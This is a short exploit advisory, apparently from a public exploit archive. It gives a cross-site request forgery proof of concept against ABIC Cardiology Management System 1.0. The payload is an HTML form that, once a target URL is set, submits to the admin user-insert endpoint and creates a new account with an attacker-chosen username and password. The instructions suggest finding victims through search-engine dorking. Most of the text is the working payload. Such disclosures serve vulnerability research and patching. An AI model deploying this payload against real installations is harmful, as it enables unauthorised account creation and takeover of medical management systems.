ABIC Cardiology Management System 1.0 Cross Site Request Forgery

=============================================================================================================================================
| # Title : ABIC cardiology Management System 1.0 CSRF Vulnerability |
| # Author : indoushka |
| # Tested on : windows 10 Fr(Pro) / browser : Mozilla firefox 129.0.1 (64 bits) |
| # Vendor : https://abicegypt.com/ |
=============================================================================================================================================

poc :

[+] Dorking İn Google Or Other Search Enggine.

[+] Line 7 : Set your target url

[+] save payload as poc.html

[+] payload :

<div class=”panel panel-default panel-table”>
<div class=”panel-heading”> <h2 class=”text-center”>New User </h2>
</div>
<div class=”panel-body”>
<div class=”col-md-offset-2 col-md-8″>

<form action=”https://127.0.0.1.com/eg-admin/users/insert.php?” method=”post” enctype=”multipart/form-data” name=”form1″ id=”form1″>

<div class=”form-group”> User Name
<input type=”text” name=”username” class=”form-control” placeholder=”Insert User Name”>
</div>
<div class=”form-group”> Password
<input type=”text” name=”password” class=”form-control” placeholder=”Insert Password”>
</div>

<div class=”col-xs-12″>
<button type=”submit” class=”btn btn-primary btn-xl” name=”add”> SAVE </button>
</div>
<input type=”hidden” name=”MM_insert” value=”form1″>
</form>

</div>
</div>
</div>

Greetings to :============================================================
jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * CraCkEr |
==========================================================================